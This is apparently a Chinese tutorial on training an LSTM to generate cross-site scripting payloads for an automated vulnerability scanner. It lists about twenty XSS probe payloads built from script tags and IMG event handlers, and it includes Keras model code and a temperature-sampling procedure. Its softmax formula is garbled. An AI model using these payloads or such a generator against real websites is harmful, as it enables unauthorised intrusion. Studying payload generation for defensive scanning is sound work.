智能扫描器

扫描器通过对目标网站发送攻击请求,根据应答内容判断是否存在漏洞,整个过程模拟黑客踩点和渗透的过程。

自动生成攻击载荷

机器通过学习攻击样本,自动生成攻击载荷,而不是死板地照套模板规则。

超参数

```
maxlen = 25
char_idx = None
temperatue = 1.0
```

数据集

XSS攻击载荷数据集

```
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
"</script><script>alert(String.fromCharCode(88,83,83))</script>
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onoffline="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onpagehide="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onpageshow="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onpopstate="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onresize="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onstorage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onblur="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x oncontextmenu="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x oninput="alert(String.fromCharCode(88,83,83))">
```

特征提取

```
建立字符对应数字的转换表: char_dict。
例:
maxlen = 25
x = '<IMG SRC=x onbeforeunloa'
y = 'd'
这部分返回值为:
char_dict: 建立字符对应数字的转换表,生成字典,dict
X: 整个字符文件转换为数字向量,array(n_samples, maxlen, len(char_dict))
Y: 目标词, array(n_samples, len(char_dict))
```

训练模型

N-gram也可以用于序列生成,使用条件概率(数频数)。

https://blog.csdn.net/qyk2008/article/details/80225986

```
def lstm():
    """ :return: lstm 模型 """
    model = keras.Sequential([
        keras.layers.LSTM(units=128, input_shape=(maxlen, len(char_idx)), dropout=0.2,
    return_sequences=True),
        keras.layers.LSTM(units=128, dropout=0.2),
        keras.layers.Dense(units=128, activation="relu"),
        keras.layers.Dropout(rate=0.2),
        keras.layers.Dense(units=len(char_idx), activation="softmax") ])
    model.summary()
    model.compile(loss='categorical_crossentropy', optimizer=keras.optimizers.Adam(),
    metrics=['accuracy'])
    return model
```

生成序列

使用了**temperature**参数,用于控制采样过程中的随机性。较高的temperature导致较高熵的采样分布,这将产生更多令人惊讶和非结构化的生成数据,而较低的temperature将导致较少的随机性和更可预测的生成数据。

$$p_i = rac{e^{rac{logp_i}{t}}}{e^{\sum rac{logp_j}{t}}}$$

• 流程

随机生成一个seed_x,作为预测的输入,预测其目标值。例如,seed_x='SRC=x onbeforeunload="al'preds = trained_model.predict(sequence, verbose=1)[0](preds为array(len(char_dict),)

要从预测矩阵中选取最有可能的值的索引,此时用到**temperature**进行选择。得到概率值最大的索引,在char_dict中找到对应char,即为预测值,seed_y = 'X'

接着更新seed_x = 'RC=x onbeforeunload="alX', 继续预测其seed_y